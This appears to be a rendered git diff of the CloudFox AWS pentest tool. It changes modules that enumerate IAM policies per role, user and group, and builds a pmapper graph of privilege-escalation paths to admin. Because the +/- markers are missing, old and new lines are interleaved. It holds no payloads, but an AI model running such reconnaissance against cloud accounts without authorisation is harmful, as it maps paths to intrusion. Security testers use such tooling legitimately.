servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("cloudtrail", r)
|
||||
if err != nil {
|
||||
|
||||
+322
-219
@@ -1,18 +1,17 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
@@ -20,7 +19,7 @@ import (
|
||||
|
||||
type IamPermissionsModule struct {
|
||||
// General configuration data
|
||||
IAMClient *iam.Client
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -80,6 +79,7 @@ type PermissionsRow struct {
|
||||
Effect string
|
||||
Action string
|
||||
Resource string
|
||||
Condition string
|
||||
}
|
||||
|
||||
func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDirectory string, verbosity int, principal string) {
|
||||
@@ -94,26 +94,27 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
fmt.Printf("[%s][%s] Enumerating IAM permissions for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
if principal != "" {
|
||||
m.output.FullFilename = filepath.Join(fmt.Sprintf("%s-custom-%s", m.output.CallingModule, strconv.FormatInt((time.Now().Unix()), 10)))
|
||||
}
|
||||
|
||||
m.getGAAD(principal)
|
||||
m.parsePermissions()
|
||||
m.getGAAD()
|
||||
m.parsePermissions(principal)
|
||||
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Principal Type",
|
||||
//"Service",
|
||||
"Type",
|
||||
"Name",
|
||||
//"Arn",
|
||||
"Policy Type",
|
||||
"Policy",
|
||||
"Policy Name",
|
||||
"Effect",
|
||||
"Action",
|
||||
"Resource",
|
||||
"Condition",
|
||||
}
|
||||
|
||||
//Table rows
|
||||
@@ -121,7 +122,7 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Rows[i].AWSService,
|
||||
//m.Rows[i].AWSService,
|
||||
m.Rows[i].Type,
|
||||
m.Rows[i].Name,
|
||||
//m.Rows[i].Arn,
|
||||
@@ -130,16 +131,33 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
|
||||
m.Rows[i].Effect,
|
||||
m.Rows[i].Action,
|
||||
m.Rows[i].Resource,
|
||||
m.Rows[i].Condition,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector3(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s unique permissions identified.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -148,192 +166,277 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
}
|
||||
|
||||
func (m *IamPermissionsModule) getGAAD(principal string) {
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
//var totalRoles int
|
||||
|
||||
// var attachedPolicies []types.AttachedPolicy
|
||||
// var inlinePolicies []types.PolicyDetail
|
||||
|
||||
for {
|
||||
GAAD, err := m.IAMClient.GetAccountAuthorizationDetails(
|
||||
context.TODO(),
|
||||
&iam.GetAccountAuthorizationDetailsInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
for _, policy := range GAAD.Policies {
|
||||
//var IAMtype = "Role"
|
||||
arn := aws.ToString(policy.Arn)
|
||||
name := aws.ToString(policy.PolicyName)
|
||||
|
||||
m.Policies = append(m.Policies, GAADPolicy{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
PolicyVersionList: policy.PolicyVersionList,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
for _, role := range GAAD.RoleDetailList {
|
||||
arn := aws.ToString(role.Arn)
|
||||
name := aws.ToString(role.RoleName)
|
||||
if principal == "" {
|
||||
m.Roles = append(m.Roles, GAADRole{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: role.AttachedManagedPolicies,
|
||||
InlinePolicies: role.RolePolicyList,
|
||||
})
|
||||
} else {
|
||||
if arn == principal {
|
||||
m.Roles = append(m.Roles, GAADRole{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: role.AttachedManagedPolicies,
|
||||
InlinePolicies: role.RolePolicyList,
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// i think the error here is pagination!!
|
||||
|
||||
for _, user := range GAAD.UserDetailList {
|
||||
//var IAMtype = "User"
|
||||
arn := aws.ToString(user.Arn)
|
||||
name := aws.ToString(user.UserName)
|
||||
groupList := user.GroupList
|
||||
if principal == "" {
|
||||
m.Users = append(m.Users, GAADUser{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: user.AttachedManagedPolicies,
|
||||
InlinePolicies: user.UserPolicyList,
|
||||
GroupList: groupList,
|
||||
})
|
||||
} else {
|
||||
if arn == principal {
|
||||
m.Users = append(m.Users, GAADUser{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: user.AttachedManagedPolicies,
|
||||
InlinePolicies: user.UserPolicyList,
|
||||
GroupList: groupList,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, group := range GAAD.GroupDetailList {
|
||||
arn := aws.ToString(group.Arn)
|
||||
name := aws.ToString(group.GroupName)
|
||||
if principal == "" {
|
||||
m.Groups = append(m.Groups, GAADGroup{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: group.AttachedManagedPolicies,
|
||||
InlinePolicies: group.GroupPolicyList,
|
||||
})
|
||||
} else {
|
||||
if arn == principal {
|
||||
m.Groups = append(m.Groups, GAADGroup{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: group.AttachedManagedPolicies,
|
||||
InlinePolicies: group.GroupPolicyList,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if GAAD.Marker != nil {
|
||||
PaginationControl = GAAD.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
func (m *IamPermissionsModule) getGAAD() {
|
||||
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
// // if user supplied a principal name without the arn, try to create the arn
|
||||
// if !strings.Contains(principal, "arn:") {
|
||||
// principal = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
|
||||
// }
|
||||
|
||||
for _, policy := range GAAD.Policies {
|
||||
//var IAMtype = "Role"
|
||||
arn := aws.ToString(policy.Arn)
|
||||
name := aws.ToString(policy.PolicyName)
|
||||
|
||||
m.Policies = append(m.Policies, GAADPolicy{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
PolicyVersionList: policy.PolicyVersionList,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
for _, role := range GAAD.RoleDetailList {
|
||||
arn := aws.ToString(role.Arn)
|
||||
name := aws.ToString(role.RoleName)
|
||||
m.Roles = append(m.Roles, GAADRole{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: role.AttachedManagedPolicies,
|
||||
InlinePolicies: role.RolePolicyList,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
for _, user := range GAAD.UserDetailList {
|
||||
//var IAMtype = "User"
|
||||
arn := aws.ToString(user.Arn)
|
||||
name := aws.ToString(user.UserName)
|
||||
groupList := user.GroupList
|
||||
m.Users = append(m.Users, GAADUser{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: user.AttachedManagedPolicies,
|
||||
InlinePolicies: user.UserPolicyList,
|
||||
GroupList: groupList,
|
||||
})
|
||||
}
|
||||
|
||||
for _, group := range GAAD.GroupDetailList {
|
||||
arn := aws.ToString(group.Arn)
|
||||
name := aws.ToString(group.GroupName)
|
||||
|
||||
m.Groups = append(m.Groups, GAADGroup{
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
AttachedPolicies: group.AttachedManagedPolicies,
|
||||
InlinePolicies: group.GroupPolicyList,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *IamPermissionsModule) parsePermissions() {
|
||||
// create a function that will take a principal name and try to see if it is a role, user, or group and return the arn of the principal
|
||||
func (m *IamPermissionsModule) getPrincipalArn(principal string) string {
|
||||
var arn string
|
||||
for _, role := range m.Roles {
|
||||
if role.Name == principal {
|
||||
arn = role.Arn
|
||||
}
|
||||
}
|
||||
|
||||
for _, user := range m.Users {
|
||||
if user.Name == principal {
|
||||
arn = user.Arn
|
||||
}
|
||||
}
|
||||
|
||||
for _, group := range m.Groups {
|
||||
if group.Name == principal {
|
||||
arn = group.Arn
|
||||
}
|
||||
}
|
||||
|
||||
return arn
|
||||
}
|
||||
|
||||
func (m *IamPermissionsModule) parsePermissions(principal string) {
|
||||
var inputArn string
|
||||
for i := range m.Roles {
|
||||
if principal == "" {
|
||||
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
|
||||
}
|
||||
|
||||
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
|
||||
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
|
||||
}
|
||||
} else {
|
||||
// if user supplied a principal name without the arn, try to create the arn
|
||||
if !strings.Contains(principal, "arn:") {
|
||||
inputArn = fmt.Sprintf("arn:aws:iam::%s:role/%s", aws.ToString(m.Caller.Account), principal)
|
||||
} else {
|
||||
inputArn = principal
|
||||
}
|
||||
|
||||
if strings.ToLower(m.Roles[i].Arn) == strings.ToLower(inputArn) {
|
||||
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
|
||||
}
|
||||
|
||||
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
|
||||
}
|
||||
}
|
||||
|
||||
for i := range m.Users {
|
||||
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
|
||||
if principal == "" {
|
||||
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
|
||||
for _, inlinePolicy := range m.Users[i].InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
} else {
|
||||
// if user supplied a principal name without the arn, try to create the arn
|
||||
if !strings.Contains(principal, "arn:") {
|
||||
inputArn = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
|
||||
} else {
|
||||
inputArn = principal
|
||||
}
|
||||
if strings.ToLower(m.Users[i].Arn) == strings.ToLower(inputArn) {
|
||||
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
|
||||
for _, inlinePolicy := range m.Users[i].InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, inlinePolicy := range m.Users[i].InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
|
||||
for j, group := range m.Users[i].GroupList {
|
||||
for _, gaadGroup := range m.Groups {
|
||||
if gaadGroup.Name == group {
|
||||
for _, attachedPolicy := range m.Groups[j].AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
|
||||
// for each group in the user's group list, get the attached and inline policy names, and then get the permissions from those policies
|
||||
for g := range m.Users[i].GroupList {
|
||||
if principal == "" {
|
||||
for _, group := range m.Groups {
|
||||
if group.Name == m.Users[i].GroupList[g] {
|
||||
for _, attachedPolicy := range group.AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
for _, inlinePolicy := range group.InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
}
|
||||
for _, inlinePolicy := range m.Groups[j].InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
} else {
|
||||
// if user supplied a principal name without the arn, try to create the arn
|
||||
if !strings.Contains(principal, "arn:") {
|
||||
inputArn = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
|
||||
} else {
|
||||
inputArn = principal
|
||||
}
|
||||
if strings.ToLower(m.Users[i].Arn) == strings.ToLower(inputArn) {
|
||||
for _, group := range m.Groups {
|
||||
if group.Name == m.Users[i].GroupList[g] {
|
||||
for _, attachedPolicy := range group.AttachedPolicies {
|
||||
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
for _, inlinePolicy := range group.InlinePolicies {
|
||||
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// for group := range m.Users[i].GroupList {
|
||||
// for _, gaadGroup := range m.Groups {
|
||||
// if gaadGroup.Name == group {
|
||||
// for _, attachedPolicy := range m.Groups[j].AttachedPolicies {
|
||||
// m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
|
||||
// }
|
||||
// for _, inlinePolicy := range m.Groups[j].InlinePolicies {
|
||||
// m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
|
||||
// }
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *IamPermissionsModule) getPermissionsFromAttachedPolicy(arn string, attachedPolicy types.AttachedPolicy, IAMtype string, name string) {
|
||||
//var policies []types.ManagedPolicyDetail
|
||||
var s StatementEntry
|
||||
var s policy.PolicyStatement
|
||||
var AWSService = "IAM"
|
||||
var hasConditions string
|
||||
|
||||
for _, p := range m.Policies {
|
||||
if p.Name == aws.ToString(attachedPolicy.PolicyName) {
|
||||
for _, d := range p.PolicyVersionList {
|
||||
if d.IsDefaultVersion {
|
||||
parsedPolicyDocument, _ := parsePolicyDocument(d.Document)
|
||||
//parsedPolicyDocument, _ := parsePolicyDocument(d.Document)
|
||||
document, _ := url.QueryUnescape(aws.ToString(d.Document))
|
||||
parsedPolicyDocument, _ := policy.ParseJSONPolicy([]byte(document))
|
||||
for _, s = range parsedPolicyDocument.Statement {
|
||||
//version := parsedPolicyDocument.Version
|
||||
effect := s.Effect
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Managed",
|
||||
PolicyName: p.Name,
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
})
|
||||
if s.Action != nil {
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
if s.Condition != nil {
|
||||
hasConditions = "Yes"
|
||||
} else {
|
||||
hasConditions = "No"
|
||||
}
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Managed",
|
||||
PolicyName: p.Name,
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
Condition: hasConditions,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if s.NotAction != nil {
|
||||
for _, action := range s.NotAction {
|
||||
for _, resource := range s.Resource {
|
||||
if s.Condition != nil {
|
||||
hasConditions = "Yes"
|
||||
} else {
|
||||
hasConditions = "No"
|
||||
}
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Managed",
|
||||
PolicyName: p.Name,
|
||||
Effect: effect,
|
||||
Action: "[NotAction] " + action,
|
||||
Resource: resource,
|
||||
Condition: hasConditions,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -343,66 +446,66 @@ func (m *IamPermissionsModule) getPermissionsFromAttachedPolicy(arn string, atta
|
||||
|
||||
func (m *IamPermissionsModule) getPermissionsFromInlinePolicy(arn string, inlinePolicy types.PolicyDetail, IAMtype string, name string) {
|
||||
//var policies []types.ManagedPolicyDetail
|
||||
var s StatementEntry
|
||||
var s policy.PolicyStatement
|
||||
var AWSService = "IAM"
|
||||
var hasConditions string
|
||||
|
||||
//parsedPolicyDocument, _ := parsePolicyDocument(inlinePolicy.PolicyDocument)
|
||||
document, _ := url.QueryUnescape(aws.ToString(inlinePolicy.PolicyDocument))
|
||||
parsedPolicyDocument, _ := policy.ParseJSONPolicy([]byte(document))
|
||||
|
||||
parsedPolicyDocument, _ := parsePolicyDocument(inlinePolicy.PolicyDocument)
|
||||
for _, s = range parsedPolicyDocument.Statement {
|
||||
//version := parsedPolicyDocument.Version
|
||||
effect := s.Effect
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Inline",
|
||||
PolicyName: aws.ToString(inlinePolicy.PolicyName),
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
})
|
||||
if s.Action != nil {
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
if s.Condition != nil {
|
||||
hasConditions = "Yes"
|
||||
} else {
|
||||
hasConditions = "No"
|
||||
}
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Inline",
|
||||
PolicyName: aws.ToString(inlinePolicy.PolicyName),
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
Condition: hasConditions,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
if s.NotAction != nil {
|
||||
for _, action := range s.NotAction {
|
||||
for _, resource := range s.Resource {
|
||||
if s.Condition != nil {
|
||||
hasConditions = "Yes"
|
||||
} else {
|
||||
hasConditions = "No"
|
||||
}
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Inline",
|
||||
PolicyName: aws.ToString(inlinePolicy.PolicyName),
|
||||
Effect: effect,
|
||||
Action: "[NotAction] " + action,
|
||||
Resource: resource,
|
||||
Condition: hasConditions,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
type policyDocument struct {
|
||||
Version string `json:"Version"`
|
||||
Statement []StatementEntry `json:"Statement"`
|
||||
}
|
||||
|
||||
type StatementEntry struct {
|
||||
Effect string `json:"Effect"`
|
||||
Action ListOfItems `json:"Action"`
|
||||
Resource ListOfItems `json:"Resource"`
|
||||
Condition ListOfItems `json:"Condition"`
|
||||
}
|
||||
|
||||
func parsePolicyDocument(doc *string) (policyDocument, error) {
|
||||
document, _ := url.QueryUnescape(aws.ToString(doc))
|
||||
var parsedDocumentToJSON policyDocument
|
||||
_ = json.Unmarshal([]byte(document), &parsedDocumentToJSON)
|
||||
return parsedDocumentToJSON, nil
|
||||
}
|
||||
|
||||
// A custom unmarshaller is necessary because the list of principals can be an array of strings or a string.
|
||||
// https://stackoverflow.com/questions/65854778/parsing-arn-from-iam-policy-using-regex
|
||||
type ListOfItems []string
|
||||
|
||||
func (r *ListOfItems) UnmarshalJSON(b []byte) error {
|
||||
var s string
|
||||
if err := json.Unmarshal(b, &s); err == nil {
|
||||
*r = append(*r, s)
|
||||
return nil
|
||||
}
|
||||
var ss []string
|
||||
if err := json.Unmarshal(b, &ss); err == nil {
|
||||
*r = ss
|
||||
return nil
|
||||
}
|
||||
return errors.New("cannot unmarshal neither to a string nor a slice of strings")
|
||||
}
|
||||
+49
-15
@@ -71,16 +71,7 @@ func (m *PmapperModule) initPmapperGraph() error {
|
||||
return err
|
||||
}
|
||||
|
||||
m.pmapperGraph = graph.New(graph.StringHash, graph.Directed())
|
||||
|
||||
for _, node := range m.Nodes {
|
||||
_ = m.pmapperGraph.AddVertex(node.Arn)
|
||||
|
||||
}
|
||||
|
||||
for _, edge := range m.Edges {
|
||||
_ = m.pmapperGraph.AddEdge(edge.Source, edge.Destination)
|
||||
}
|
||||
m.pmapperGraph = m.createAndPopulateGraph()
|
||||
|
||||
for i := range m.Nodes {
|
||||
if m.doesNodeHavePathToAdmin(m.Nodes[i]) {
|
||||
@@ -89,12 +80,38 @@ func (m *PmapperModule) initPmapperGraph() error {
|
||||
} else {
|
||||
m.Nodes[i].PathToAdmin = false
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *PmapperModule) createAndPopulateGraph() graph.Graph[string, string] {
|
||||
|
||||
pmapperGraph := graph.New(graph.StringHash, graph.Directed())
|
||||
|
||||
// having issues with caching the graph. will have to swing back and try again later
|
||||
|
||||
// gob.Register(pmapperGraph)
|
||||
// cacheKey := fmt.Sprintf("%s-pmapperGraph", aws.ToString(m.Caller.Account))
|
||||
// cached, found := internal.Cache.Get(cacheKey)
|
||||
// if found {
|
||||
// return cached.(graph.Graph[string, string])
|
||||
// }
|
||||
|
||||
for _, node := range m.Nodes {
|
||||
_ = pmapperGraph.AddVertex(node.Arn)
|
||||
|
||||
}
|
||||
|
||||
for _, edge := range m.Edges {
|
||||
_ = pmapperGraph.AddEdge(edge.Source, edge.Destination)
|
||||
}
|
||||
|
||||
//internal.Cache.Set(cacheKey, pmapperGraph, cache.DefaultExpiration)
|
||||
return pmapperGraph
|
||||
|
||||
}
|
||||
|
||||
func (m *PmapperModule) DoesPrincipalHavePathToAdmin(principal string) bool {
|
||||
for i := range m.Nodes {
|
||||
if m.Nodes[i].Arn == principal {
|
||||
@@ -131,11 +148,12 @@ func (m *PmapperModule) PrintPmapperData(outputFormat string, outputDirectory st
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
pmapperError := m.initPmapperGraph()
|
||||
if pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. \n\t\t\t1. Generate pmapper data by running `pmapper --profile %s graph create`\n\t\t\t2. After that completes, this cloudfox command and others will attempt to find and use the pmapper graph data in this and other cloudfox commands\n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. \n\t\t\t1. Generate pmapper data by running `pmapper --profile %s graph create`\n\t\t\t2. After that completes, cloudfox will attempt to enrich this command and others with pmapper privesc data\n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] For more info and troubleshooting steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
m.modLog.Error(pmapperError)
|
||||
return
|
||||
|
||||
@@ -177,9 +195,25 @@ func (m *PmapperModule) PrintPmapperData(outputFormat string, outputDirectory st
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
